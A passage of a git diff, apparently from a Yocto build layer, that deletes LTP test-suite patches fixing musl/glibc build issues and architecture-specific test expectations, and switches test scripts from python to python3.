---- a/testcases/network/nfsv4/acl/runtest
-+++ b/testcases/network/nfsv4/acl/runtest
-@@ -22,7 +22,7 @@ do
- done
-
- # creation of users on the remote machine (removed only at the end of the tests)
--rsh -n $REMOTEHOST python $PWD/create_users.py -u 50 -g 50
-+rsh -n $REMOTEHOST python3 $PWD/create_users.py -u 50 -g 50
-
- echo "Starting ACL testing"
-
-@@ -51,19 +51,19 @@ echo "Basic tests finished"
-
- echo "LONG ACL TEST"
- echo "creating necessary users and groups"
--python create_users.py -u 50 -g 50
-+python3 create_users.py -u 50 -g 50
- echo "creating necessary users and groups on the remote host"
- mkdir $NFSMNTDIR/lacl-testdir
--python test_long_acl.py -l $MAXLENGTH -p $NFSMNTDIR/lacl-testdir
-+python3 test_long_acl.py -l $MAXLENGTH -p $NFSMNTDIR/lacl-testdir
- rm -rf $NFSMNTDIR/lacl-testdir
- echo "Long ACL test OK with $MAXLENGTH entries"
- echo "ACL STRESSING TEST"
--python setacl_stress.py -n 100 -u $USER_NB -g $GRP_NB -f $FILE_NB -p $NFSMNTDIR
-+python3 setacl_stress.py -n 100 -u $USER_NB -g $GRP_NB -f $FILE_NB -p $NFSMNTDIR
-
- # remove local an remote users
--python cleanusers.py
--python cleangroups.py
--rsh -n $REMOTEHOST python $PWD/cleanusers.py
-+python3 cleanusers.py
-+python3 cleangroups.py
-+rsh -n $REMOTEHOST python3 $PWD/cleanusers.py
-
- echo "Test OK"
-
-diff --git a/testcases/realtime/func/pi-tests/run_auto.sh b/testcases/realtime/func/pi-tests/run_auto.sh
-index d13026049..277988568 100755
---- a/testcases/realtime/func/pi-tests/run_auto.sh
-+++ b/testcases/realtime/func/pi-tests/run_auto.sh
-@@ -15,15 +15,15 @@ $SCRIPTS_DIR/run_c_files.sh $profile testpi-0
-
- export LOG_FILE="$LOG_DIR/$LOG_FORMAT-testpi-1.log"
- $SCRIPTS_DIR/run_c_files.sh $profile testpi-1
--PYTHONPATH=../../ python parse-testpi1.py $LOG_FILE 2>&1 | tee -a $LOG_FILE
-+PYTHONPATH=../../ python3 parse-testpi1.py $LOG_FILE 2>&1 | tee -a $LOG_FILE
-
- export LOG_FILE="$LOG_DIR/$LOG_FORMAT-testpi-2.log"
- $SCRIPTS_DIR/run_c_files.sh $profile testpi-2
--PYTHONPATH=../../ python parse-testpi2.py $LOG_FILE 2>&1 | tee -a $LOG_FILE
-+PYTHONPATH=../../ python3 parse-testpi2.py $LOG_FILE 2>&1 | tee -a $LOG_FILE
-
- export LOG_FILE="$LOG_DIR/$LOG_FORMAT-testpi-4.log"
- $SCRIPTS_DIR/run_c_files.sh $profile testpi-4
--PYTHONPATH=../../ python parse-testpi1.py $LOG_FILE 2>&1 | tee -a $LOG_FILE
-+PYTHONPATH=../../ python3 parse-testpi1.py $LOG_FILE 2>&1 | tee -a $LOG_FILE
-
-
- export LOG_FILE=""
diff --git a/meta/recipes-extended/ltp/ltp/0001-ustat02-Fix-EFAULT-in-32bit-compatibility-mode.patch b/meta/recipes-extended/ltp/ltp/0001-ustat02-Fix-EFAULT-in-32bit-compatibility-mode.patch
deleted file mode 100644
index c936b788fe..0000000000
--- a/meta/recipes-extended/ltp/ltp/0001-ustat02-Fix-EFAULT-in-32bit-compatibility-mode.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-From 156776a3e29491b363fdc9811912e1298655d060 Mon Sep 17 00:00:00 2001
-From: Steven Price <steven.price@arm.com>
-Date: Fri, 19 Jul 2019 13:48:17 +0100
-Subject: [PATCH] ustat02: Fix EFAULT in 32bit compatibility mode
-
-The size of dev_t is larger than 32 bits which causes the dev argument
-to be passed incorrectly. On Arm this means that the EFAULT test case
-actually returns EINVAL because the device number isn't recognised.
-
-Signed-off-by: Steven Price <steven.price@arm.com>
-Acked-by: Li Wang <liwang@redhat.com>
-
-Upstream-Status: Backport
-[https://github.com/linux-test-project/ltp/commit/156776a3e29491b363fdc9811912e1298655d060]
-
-Signed-off-by: He Zhe <zhe.he@windriver.com>
----
- testcases/kernel/syscalls/ustat/ustat02.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/testcases/kernel/syscalls/ustat/ustat02.c b/testcases/kernel/syscalls/ustat/ustat02.c
-index 9bbe4f3..1a0e9e0 100644
---- a/testcases/kernel/syscalls/ustat/ustat02.c
-+++ b/testcases/kernel/syscalls/ustat/ustat02.c
-@@ -36,7 +36,7 @@ int TST_TOTAL = ARRAY_SIZE(tc);
-
- void run(unsigned int test)
- {
-- TEST(tst_syscall(__NR_ustat, *tc[test].dev, tc[test].buf));
-+ TEST(tst_syscall(__NR_ustat, (unsigned int)*tc[test].dev, tc[test].buf));
-
- if ((TST_RET == -1) && (TST_ERR == tc[test].exp_errno))
- tst_res(TPASS | TTERRNO, "ustat(2) expected failure");
---
-2.7.4
-
diff --git a/meta/recipes-extended/ltp/ltp/0002-check-for-RES_USE_INET6-during-configure.patch b/meta/recipes-extended/ltp/ltp/0002-check-for-RES_USE_INET6-during-configure.patch
deleted file mode 100644
index 12e47eb2b6..0000000000
--- a/meta/recipes-extended/ltp/ltp/0002-check-for-RES_USE_INET6-during-configure.patch
+++ /dev/null
@@ -1,68 +0,0 @@
-From 7bc134545b7beb09717a60541530c20a1a5740d3 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 26 Jul 2019 10:55:28 -0700
-Subject: [PATCH 2/2] check for RES_USE_INET6 during configure
-
-glibc 2.30 has remove RES_USE_INET6 define which has been on its way out
-since 2.26 release, this check ensures that we detect it before using it
-
-Upstream-Status: Submitted [http://lists.linux.it/pipermail/ltp/2019-July/012955.html]
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- configure.ac | 13 +++++++++++++
- testcases/network/multicast/mc_gethost/mc_gethost.c | 6 ++++++
- 2 files changed, 19 insertions(+)
-
-diff --git a/configure.ac b/configure.ac
-index 2255b5c181..ed7acccb01 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -91,6 +91,19 @@ AC_CHECK_FUNCS([ \
- vmsplice \
- ])
-
-+#check defines
-+AC_MSG_CHECKING([for RES_USE_INET6])
-+AC_COMPILE_IFELSE( [AC_LANG_PROGRAM([[#include <resolv.h>]],
-+ [[char dummy[RES_USE_INET6];]])],
-+ [
-+ AC_MSG_RESULT([yes])
-+ AC_DEFINE_UNQUOTED([HAVE_RES_USE_INET6], 1, [Define to 1 if you have the RES_USE_INET6 macro.])
-+ ],
-+ [
-+ AC_MSG_RESULT([no])
-+ AC_DEFINE_UNQUOTED([HAVE_RES_USE_INET6], 0, [Define to 1 if you have the RES_USE_INET6 macro.])
-+ ]
-+)
- # Tools knobs
-
- # Expect
-diff --git a/testcases/network/multicast/mc_gethost/mc_gethost.c b/testcases/network/multicast/mc_gethost/mc_gethost.c
-index 9cc15d086b..d1cae5441a 100644
---- a/testcases/network/multicast/mc_gethost/mc_gethost.c
-+++ b/testcases/network/multicast/mc_gethost/mc_gethost.c
-@@ -17,6 +17,8 @@
- #include <string.h>
- #include <stdlib.h>
-
-+#include "config.h"
-+
- #ifndef LOG_PERROR
- #define LOG_PERROR 0
- #endif
-@@ -50,8 +52,12 @@ usage:
- argv++, argc--;
- }
- if (argc >= 1 && !strcmp(*argv, "-6")) {
-+#if HAVE_RES_USE_INET6
- af = AF_INET6, size = IN6ADDRSZ;
- _res.options |= RES_USE_INET6;
-+#else
-+ af = AF_INET, size = INADDRSZ;
-+#endif
- argv++, argc--;
- }
- if (argc >= 1 && !strcmp(*argv, "-f")) {
---
-2.22.0
-
diff --git a/meta/recipes-extended/ltp/ltp/0002-kernel-controllers-Link-with-libfts-explicitly-on-mu.patch b/meta/recipes-extended/ltp/ltp/0002-kernel-controllers-Link-with-libfts-explicitly-on-mu.patch
deleted file mode 100644
index eff9ed0741..0000000000
--- a/meta/recipes-extended/ltp/ltp/0002-kernel-controllers-Link-with-libfts-explicitly-on-mu.patch
+++ /dev/null
@@ -1,47 +0,0 @@
-From 81e5bd5442337a4a648a0dbbff47eaac0d351287 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Thu, 7 Jan 2016 18:22:38 +0000
-Subject: [PATCH] kernel/controllers: Link with libfts explicitly on musl
-
-musl does not implement fts like glibc and therefore it depends on
-external implementation for all fts APIs
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- testcases/kernel/controllers/Makefile.inc | 3 +++
- testcases/kernel/controllers/cpuset/Makefile.inc | 3 +++
- 2 files changed, 6 insertions(+)
-
-diff --git a/testcases/kernel/controllers/Makefile.inc b/testcases/kernel/controllers/Makefile.inc
-index 4ca0b5a..1d85e4d 100644
---- a/testcases/kernel/controllers/Makefile.inc
-+++ b/testcases/kernel/controllers/Makefile.inc
-@@ -36,6 +36,9 @@ MAKE_DEPS := $(LIB)
- CPPFLAGS += -I$(abs_srcdir)/../$(LIBDIR)
-
- LDFLAGS += -L$(abs_builddir)/../$(LIBDIR)
-+ifeq ($(LIBC),musl)
-+LDLIBS += -lfts
-+endif
-
- INSTALL_TARGETS ?= *.sh
-
-diff --git a/testcases/kernel/controllers/cpuset/Makefile.inc b/testcases/kernel/controllers/cpuset/Makefile.inc
-index db6a843..86dd2a8 100644
---- a/testcases/kernel/controllers/cpuset/Makefile.inc
-+++ b/testcases/kernel/controllers/cpuset/Makefile.inc
-@@ -42,6 +42,9 @@ MAKE_DEPS := $(LIBCONTROLLERS) $(LIBCPUSET)
- LDFLAGS += -L$(abs_builddir)/$(LIBCPUSET_DIR) -L$(abs_builddir)/$(LIBCONTROLLERS_DIR)
-
- LDLIBS += -lcpu_set -lcontrollers -lltp
-+ifeq ($(LIBC),musl)
-+LDLIBS += -lfts
-+endif
-
- INSTALL_TARGETS ?= *.sh
-
---
-2.7.4
-
diff --git a/meta/recipes-extended/ltp/ltp/0003-Check-if-__GLIBC_PREREQ-is-defined-before-using-it.patch b/meta/recipes-extended/ltp/ltp/0003-Check-if-__GLIBC_PREREQ-is-defined-before-using-it.patch
deleted file mode 100644
index c0f69ecf5f..0000000000
--- a/meta/recipes-extended/ltp/ltp/0003-Check-if-__GLIBC_PREREQ-is-defined-before-using-it.patch
+++ /dev/null
@@ -1,58 +0,0 @@
-From 29ce9fdab3bd34e69d73b5b890795559c06553f7 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Thu, 7 Jan 2016 19:40:08 +0000
-Subject: [PATCH] Check if __GLIBC_PREREQ is defined before using it
-
-__GLIBC_PREREQ is specific to glibc so it should be checked if it is
-defined or not.
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
----
- testcases/kernel/syscalls/accept4/accept4_01.c | 7 +++++++
- 1 file changed, 7 insertions(+)
-
-diff --git a/testcases/kernel/syscalls/accept4/accept4_01.c b/testcases/kernel/syscalls/accept4/accept4_01.c
-index dd289cf..76aa969 100644
---- a/testcases/kernel/syscalls/accept4/accept4_01.c
-+++ b/testcases/kernel/syscalls/accept4/accept4_01.c
-@@ -38,6 +38,7 @@
- static struct sockaddr_in conn_addr;
- static int listening_fd;
-
-+#if defined(__GLIBC__) && defined(__GLIBC_PREREQ)
- #if !(__GLIBC_PREREQ(2, 10))
- static int
- accept4_01(int fd, struct sockaddr *sockaddr, socklen_t *addrlen, int flags)
-@@ -56,6 +57,7 @@ accept4_01(int fd, struct sockaddr *sockaddr, socklen_t *addrlen, int flags)
- #endif
- }
- #endif
-+#endif
-
- static int create_listening_socket(void)
- {
-@@ -115,6 +117,7 @@ static void verify_accept4(unsigned int nr)
- SAFE_CONNECT(connfd, (struct sockaddr *)&conn_addr, sizeof(conn_addr));
- addrlen = sizeof(claddr);
-
-+#if defined(__GLIBC__) && defined(__GLIBC_PREREQ)
- #if !(__GLIBC_PREREQ(2, 10))
- TEST(accept4_01(listening_fd, (struct sockaddr *)&claddr, &addrlen,
- tcase->cloexec | tcase->nonblock));
-@@ -122,6 +125,10 @@ static void verify_accept4(unsigned int nr)
- TEST(accept4(listening_fd, (struct sockaddr *)&claddr, &addrlen,
- tcase->cloexec | tcase->nonblock));
- #endif
-+#else
-+ TEST(accept4(listening_fd, (struct sockaddr *)&claddr, &addrlen,
-+ tcase->cloexec | tcase->nonblock));
-+#endif
- if (TST_RET == -1) {
- if (TST_ERR == ENOSYS)
- tst_brk(TCONF, "syscall __NR_accept4 not supported");
---
-2.7.4
-
diff --git a/meta/recipes-extended/ltp/ltp/0004-guard-mallocopt-with-__GLIBC__.patch b/meta/recipes-extended/ltp/ltp/0004-guard-mallocopt-with-__GLIBC__.patch
deleted file mode 100644
index 5622a64d43..0000000000
--- a/meta/recipes-extended/ltp/ltp/0004-guard-mallocopt-with-__GLIBC__.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From d0fc9ca5d3366f9b8907e463222403cd2327be10 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 8 Jan 2016 06:51:20 +0000
-Subject: [PATCH] guard mallocopt() with __GLIBC__
-
-mallocopt is not available on non glibc implementations
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- utils/benchmark/ebizzy-0.3/ebizzy.c | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/utils/benchmark/ebizzy-0.3/ebizzy.c b/utils/benchmark/ebizzy-0.3/ebizzy.c
-index 5bb8eff..934d951 100644
---- a/utils/benchmark/ebizzy-0.3/ebizzy.c
-+++ b/utils/benchmark/ebizzy-0.3/ebizzy.c
-@@ -215,10 +215,10 @@ static void read_options(int argc, char *argv[])
- "\"never mmap\" option specified\n");
- usage();
- }
--
-+#ifdef __GLIBC__
- if (never_mmap)
- mallopt(M_MMAP_MAX, 0);
--
-+#endif
- if (chunk_size < record_size) {
- fprintf(stderr, "Chunk size %u smaller than record size %u\n",
- chunk_size, record_size);
---
-2.7.4
-
diff --git a/meta/recipes-extended/ltp/ltp/0006-rt_tgsigqueueinfo-disable-test-on-musl.patch b/meta/recipes-extended/ltp/ltp/0006-rt_tgsigqueueinfo-disable-test-on-musl.patch
deleted file mode 100644
index 804edfa1b4..0000000000
--- a/meta/recipes-extended/ltp/ltp/0006-rt_tgsigqueueinfo-disable-test-on-musl.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-From 60054686e2c1a4bedf1d507af97ebbb7ff491e77 Mon Sep 17 00:00:00 2001
-From: Yi Zhao <yi.zhao@windriver.com>
-Date: Thu, 18 Jul 2019 15:23:15 +0800
-Subject: [PATCH] rt_tgsigqueueinfo: disable test on musl
-
-Fix build error with musl:
-rt_tgsigqueueinfo01.c: In function 'sigusr1_handler':
-rt_tgsigqueueinfo01.c:42:22: error: 'siginfo_t' {aka 'struct <anonymous>'} has no member named '_sifields'; did you mean '__si_fields'?
- 42 | sigval_rcv = uinfo->_sifields._rt.SI_SIGVAL.sival_ptr;
- | ^~~~~~~~~
- | __si_fields
-
-Upstream-Status: Pending
-
-Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
----
- testcases/kernel/syscalls/Makefile | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/testcases/kernel/syscalls/Makefile b/testcases/kernel/syscalls/Makefile
-index d1becd0..1f3ff34 100644
---- a/testcases/kernel/syscalls/Makefile
-+++ b/testcases/kernel/syscalls/Makefile
-@@ -31,7 +31,7 @@ endif
- ifeq ($(LIBC),musl)
- FILTER_OUT_DIRS += confstr fmtmsg getcontext ioctl mallopt profil \
- rt_sigsuspend setdomainname sethostname sigsuspend \
-- ustat
-+ ustat rt_tgsigqueueinfo
- endif
-
- ifeq ($(UCLIBC),1)
---
-2.7.4
-
diff --git a/meta/recipes-extended/ltp/ltp/0007-Fix-test_proc_kill-hanging.patch b/meta/recipes-extended/ltp/ltp/0007-Fix-test_proc_kill-hanging.patch
deleted file mode 100644
index 0e7264574f..0000000000
--- a/meta/recipes-extended/ltp/ltp/0007-Fix-test_proc_kill-hanging.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From f4fafbdffae3a63c81f65cef98c72dda26283e06 Mon Sep 17 00:00:00 2001
-From: Dengke Du <dengke.du@windriver.com>
-Date: Wed, 8 Feb 2017 16:17:17 +0800
-Subject: [PATCH] Fix test_proc_kill hanging
-
-Sometimes the signal is delivered to memcg_process before the framework took
-into consideration its pid entered in the tasks. Fixed by delaying the signal
-send command.
-
-Upstream-Status: Pending
-
-Signed-off-by: George Nita <george.nita@enea.com>
-Signed-off-by: Dengke Du <dengke.du@windriver.com>
----
- testcases/kernel/controllers/memcg/functional/memcg_lib.sh | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/testcases/kernel/controllers/memcg/functional/memcg_lib.sh b/testcases/kernel/controllers/memcg/functional/memcg_lib.sh
-index aadaae4..deea5d6 100755
---- a/testcases/kernel/controllers/memcg/functional/memcg_lib.sh
-+++ b/testcases/kernel/controllers/memcg/functional/memcg_lib.sh
-@@ -291,6 +291,7 @@ test_proc_kill()
- pid=$!
- TST_CHECKPOINT_WAIT 0
- echo $pid > tasks
-+ sleep 1
-
- signal_memcg_process $pid $3
-
---
-2.7.4
-
diff --git a/meta/recipes-extended/ltp/ltp/0008-testcases-network-nfsv4-acl-acl1.c-Security-fix-on-s.patch b/meta/recipes-extended/ltp/ltp/0008-testcases-network-nfsv4-acl-acl1.c-Security-fix-on-s.patch
deleted file mode 100644
index b46325eaf3..0000000000
--- a/meta/recipes-extended/ltp/ltp/0008-testcases-network-nfsv4-acl-acl1.c-Security-fix-on-s.patch
+++ /dev/null
@@ -1,41 +0,0 @@
-From aa7a9185a037ad59012bd46713ac340458e95209 Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?An=C3=ADbal=20Lim=C3=B3n?= <anibal.limon@linux.intel.com>
-Date: Fri, 13 May 2016 11:11:28 -0500
-Subject: [PATCH] testcases/network/nfsv4/acl/acl1.c: Security fix on
- string printf
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-Fixes:
-
-acl1.c: In function 'test_acl_default':
-acl1.c:317:2: error: format not a string literal and no format arguments
-[-Werror=format-security]
- printf(cmd);
-
-[YOCTO #9548]
-
-Upstream-Status: Pending
-
-Signed-off-by: Aníbal Limón <anibal.limon@linux.intel.com>
----
- testcases/network/nfsv4/acl/acl1.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/testcases/network/nfsv4/acl/acl1.c b/testcases/network/nfsv4/acl/acl1.c
-index bdf0180..898b7ca 100644
---- a/testcases/network/nfsv4/acl/acl1.c
-+++ b/testcases/network/nfsv4/acl/acl1.c
-@@ -303,7 +303,7 @@ void test_acl_default(char *dir, acl_t acl)
- char *cmd = malloc(256);
-
- strcpy(cmd, "chmod 7777 ");
-- printf(cmd);
-+ printf(cmd, NULL);
- strcat(cmd, dir);
- system(cmd);
- acl2 = acl_get_file(path, ACL_TYPE_ACCESS);
---
-2.7.4
-
diff --git a/meta/recipes-extended/ltp/ltp/0009-open_posix_testsuite-mmap24-2-Relax-condition-a-bit.patch b/meta/recipes-extended/ltp/ltp/0009-open_posix_testsuite-mmap24-2-Relax-condition-a-bit.patch
deleted file mode 100644
index d32ac1dd7c..0000000000
--- a/meta/recipes-extended/ltp/ltp/0009-open_posix_testsuite-mmap24-2-Relax-condition-a-bit.patch
+++ /dev/null
@@ -1,68 +0,0 @@
-From a8715a1446305ffd76406f63c7f160c13a5b2e72 Mon Sep 17 00:00:00 2001
-From: "Hongzhi.Song" <hongzhi.song@windriver.com>
-Date: Wed, 10 Oct 2018 22:07:05 -0400
-Subject: [PATCH] open_posix_testsuite/mmap24-2: Relax condition a bit
-
-Mips will return EINVAL instead of ENOMEM as expected
-if the range [addr + len) exceeds TASK_SIZE.
-
-Linux kernel code: arch/mips/mm/mmap.c
-if (flags & MAP_FIXED) {
- /* Even MAP_FIXED mappings must reside within TASK_SIZE */
- if (TASK_SIZE - len < addr)
- return -EINVAL;
-
-Relax the condition and accept both ENOMEM and EINVAL
-as expected outcome.
-
-Upstream-Status: Submitted [https://lists.linux.it/pipermail/ltp/2018-October/009624.html]
-
-Signed-off-by: Hongzhi.Song <hongzhi.song@windriver.com>
----
- .../open_posix_testsuite/conformance/interfaces/mmap/24-2.c | 10 +++++-----
- 1 file changed, 5 insertions(+), 5 deletions(-)
-
-diff --git a/testcases/open_posix_testsuite/conformance/interfaces/mmap/24-2.c b/testcases/open_posix_testsuite/conformance/interfaces/mmap/24-2.c
-index 9cf83d9..55090a6 100644
---- a/testcases/open_posix_testsuite/conformance/interfaces/mmap/24-2.c
-+++ b/testcases/open_posix_testsuite/conformance/interfaces/mmap/24-2.c
-@@ -7,7 +7,7 @@
- * source tree.
- *
- * The mmap() function shall fail if:
-- * [ENOMEM] MAP_FIXED was specified,
-+ * [ENOMEM or EINVAL] MAP_FIXED was specified,
- * and the range [addr,addr+len) exceeds that allowed
- * for the address space of a process; or, if MAP_FIXED was not specified and
- * there is insufficient room in the address space to effect the mapping.
-@@ -15,7 +15,7 @@
- * Test Step:
- * 1. Map a shared memory object, with size exceeding the value get from
- * rlim_cur of resource RLIMIT_AS, setting MAP_FIXED;
-- * 3. Should get ENOMEM.
-+ * 3. Should get ENOMEM or EINVAL.
- */
-
- #include <stdio.h>
-@@ -92,8 +92,8 @@ int main(void)
- (unsigned long)len);
- pa = mmap(addr, len, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED, fd,
- 0);
-- if (pa == MAP_FAILED && errno == ENOMEM) {
-- printf("Got ENOMEM: %s\nTest PASSED\n", strerror(errno));
-+ if (pa == MAP_FAILED && (errno == ENOMEM || errno == EINVAL)) {
-+ printf("Got ENOMEM or EINVAL: %s\nTest PASSED\n", strerror(errno));
- exit(PTS_PASS);
- }
-
-@@ -102,6 +102,6 @@ int main(void)
- else
- munmap(pa, len);
- close(fd);
-- printf("Test Fail: Did not get ENOMEM as expected\n");
-+ printf("Test Failed: Did not get ENOMEM or EINVAL as expected\n");
- return PTS_FAIL;
- }
---
-2.7.4
-
diff --git a/meta/recipes-extended/ltp/ltp/0010-shmctl01-don-t-use-hardcoded-index-0-for-SHM_STAT-te.patch b/meta/recipes-extended/ltp/ltp/0010-shmctl01-don-t-use-hardcoded-index-0-for-SHM_STAT-te.patch
deleted file mode 100644
index 8704e5ffe8..0000000000
--- a/meta/recipes-extended/ltp/ltp/0010-shmctl01-don-t-use-hardcoded-index-0-for-SHM_STAT-te.patch
+++ /dev/null
@@ -1,82 +0,0 @@
-From 794933b38354a2612cf2c471f11798b306f35315 Mon Sep 17 00:00:00 2001
-From: Jan Stancek <jstancek@redhat.com>
-Date: Mon, 20 May 2019 20:47:20 +0200
-Subject: [PATCH] shmctl01: don't use hardcoded index == 0 for SHM_STAT test
-
-Test fails on SHM_STAT testcase:
- shmctl01 5 TFAIL : shmctl01.c:173: shmctl01 call failed
- errno = 22 : Invalid argument
- shmctl(0, SHM_STAT, 0x601060) = -EINVAL
-
-since following commit:
- commit 99db46ea292780cd978d56932d9445b1e8bdafe8
- Author: Manfred Spraul <manfred@colorfullife.com>
- Date: Tue May 14 15:46:36 2019 -0700
- ipc: do cyclic id allocation for the ipc object.
-
-Don't rely on index 0 being always available, but instead
-use (maximum) index returned by SHM_INFO.
-
-Signed-off-by: Jan Stancek <jstancek@redhat.com>
-Reviewed-by: Petr Vorel <pvorel@suse.cz>
-Acked-by: Cyril Hrubis <chrubis@suse.cz>
-
-Upstream-Status: Backport
-[https://github.com/linux-test-project/ltp/commit/db0a43d9388be2c347a8306751bbe6bec086d062]
-
-Signed-off-by: Hongzhi Song <hongzhi.song@windriver.com>
-Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
----
- testcases/kernel/syscalls/ipc/shmctl/shmctl01.c | 21 ++++++++++++++++++---
- 1 file changed, 18 insertions(+), 3 deletions(-)
-
-diff --git a/testcases/kernel/syscalls/ipc/shmctl/shmctl01.c b/testcases/kernel/syscalls/ipc/shmctl/shmctl01.c
-index 1b46977..52bf23a 100644
---- a/testcases/kernel/syscalls/ipc/shmctl/shmctl01.c
-+++ b/testcases/kernel/syscalls/ipc/shmctl/shmctl01.c
-@@ -79,6 +79,7 @@ static void func_info(int ret);
-
- /* Check routine for SHM_STAT */
- static void func_sstat(int ret);
-+static void func_sstat_setup(void);
-
- /* Check routine for SHM_LOCK */
- static void func_lock(int ret);
-@@ -110,7 +111,7 @@ static struct test_case_t {
- #endif
- {&shm_id_1, IPC_SET, &buf, func_set, set_setup},
- {&shm_id_1, IPC_INFO, (struct shmid_ds *) &info, func_info, NULL},
-- {&shm_index, SHM_STAT, &buf, func_sstat, NULL},
-+ {&shm_index, SHM_STAT, &buf, func_sstat, func_sstat_setup},
- {&shm_id_1, SHM_LOCK, NULL, func_lock, NULL},
- {&shm_id_1, SHM_UNLOCK, NULL, func_unlock, NULL},
- {&shm_id_1, IPC_RMID, NULL, func_rmid, NULL},
-@@ -407,9 +408,23 @@ static void func_info(int ret)
- static void func_sstat(int ret)
- {
- if (ret >= 0)
-- tst_resm(TPASS, "get correct shared memory id");
-+ tst_resm(TPASS, "get correct shared memory id for index: %d",
-+ shm_index);
- else
-- tst_resm(TFAIL, "shared memory id is incorrect");
-+ tst_resm(TFAIL, "shared memory id is incorrect, index: %d",
-+ shm_index);
-+}
-+
-+static void func_sstat_setup(void)
-+{
-+ struct shm_info tmp;
-+ int ret;
-+
-+ ret = shmctl(shm_id_1, SHM_INFO, (void *)&tmp);
-+ if (ret < 0)
-+ tst_resm(TFAIL|TERRNO, "shmctl(SHM_INFO)");
-+ else
-+ shm_index = ret;
- }
-
- static void func_lock(int ret)
---
-2.7.4
-
diff --git a/meta/recipes-extended/ltp/ltp/0011-direct_io-diotest4-drop-MAP_FIXED.patch b/meta/recipes-extended/ltp/ltp/0011-direct_io-diotest4-drop-MAP_FIXED.patch
deleted file mode 100644
index 9cd188f656..0000000000
--- a/meta/recipes-extended/ltp/ltp/0011-direct_io-diotest4-drop-MAP_FIXED.patch
+++ /dev/null
@@ -1,56 +0,0 @@
-From f210d7e19b721041f31b7f258a169f89dc850303 Mon Sep 17 00:00:00 2001
-From: Jan Stancek <jstancek@redhat.com>
-Date: Thu, 4 Jul 2019 16:45:23 +0200
-Subject: [PATCH] direct_io/diotest4: drop MAP_FIXED
-
-Hongzhi reports that this test is failing on mips64 with 5.1+:
- diotest4 10 TBROK : diotest4.c:368: can't mmap file: Invalid argument
- diotest4 11 TBROK : diotest4.c:368: Remaining cases broken
-I could reproduce it on emulated 5kc-malta, running 5.2.0-rc7.
-
-Test is trying to map into area immediately following heap as MAP_SHARED,
-but it used wrong alignment (fixed by 'lapi/mmap.h: include config.h').
-
-Usage of MAP_FIXED seems unnecessary, so drop that too and let the kernel
-pick an address.
-
-Reported-by: Hongzhi.Song <hongzhi.song@windriver.com>
-Signed-off-by: Jan Stancek <jstancek@redhat.com>
-Acked-by: Cyril Hrubis <chrubis@suse.cz>
-
-Upstream-Status: Backport
-[https://github.com/linux-test-project/ltp/commit/f5444eeeabf252b8884b9465d277b6af853819e3]
-
-Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
----
- testcases/kernel/io/direct_io/diotest4.c | 8 ++------
- 1 file changed, 2 insertions(+), 6 deletions(-)
-
-diff --git a/testcases/kernel/io/direct_io/diotest4.c b/testcases/kernel/io/direct_io/diotest4.c
-index e4616e4..bf200cd 100644
---- a/testcases/kernel/io/direct_io/diotest4.c
-+++ b/testcases/kernel/io/direct_io/diotest4.c
-@@ -352,18 +352,14 @@ int main(int argc, char *argv[])
- total++;
-
- /* Test-10: read, write to a mmaped file */
-- shm_base = (char *)(((long)sbrk(0) + (shmsz - 1)) & ~(shmsz - 1));
-- if (shm_base == NULL) {
-- tst_brkm(TBROK, cleanup, "sbrk failed: %s", strerror(errno));
-- }
- offset = 4096;
- count = bufsize;
- if ((fd = open(filename, O_DIRECT | O_RDWR)) < 0) {
- tst_brkm(TBROK, cleanup, "can't open %s: %s",
- filename, strerror(errno));
- }
-- shm_base = mmap(shm_base, 0x100000, PROT_READ | PROT_WRITE,
-- MAP_SHARED | MAP_FIXED, fd, 0);
-+ shm_base = mmap(0, 0x100000, PROT_READ | PROT_WRITE,
-+ MAP_SHARED, fd, 0);
- if (shm_base == (caddr_t) - 1) {
- tst_brkm(TBROK, cleanup, "can't mmap file: %s",
- strerror(errno));
---
-2.7.4
-
diff --git a/meta/recipes-extended/ltp/ltp/0012-getrlimit03-adjust-a-bit-of-code-to-compatiable-with.patch b/meta/recipes-extended/ltp/ltp/0012-getrlimit03-adjust-a-bit-of-code-to-compatiable-with.patch
deleted file mode 100644
index aecbc80e9b..0000000000
--- a/meta/recipes-extended/ltp/ltp/0012-getrlimit03-adjust-a-bit-of-code-to-compatiable-with.patch
+++ /dev/null
@@ -1,64 +0,0 @@
-From 4ac747c1f7ff8e2ec2567d6672822e95a9b56e55 Mon Sep 17 00:00:00 2001
-From: "Hongzhi.Song" <hongzhi.song@windriver.com>
-Date: Mon, 15 Jul 2019 03:39:06 -0400
-Subject: [PATCH] getrlimit03: adjust a bit of code to compatiable with mips32
-
-Error info:
-getrlimit03.c:104: FAIL: __NR_prlimit64(0) had rlim_cur =
-ffffffffffffffff but __NR_getrlimit(0) had rlim_cur = 7fffffff
-
-According to kernel code: [arch/mips/include/uapi/asm/resource.h]
-RLIM_INFINITY is set to 0x7fffffffUL instead of ULONG_MAX on mips32.
-
- /*
- * SuS says limits have to be unsigned.
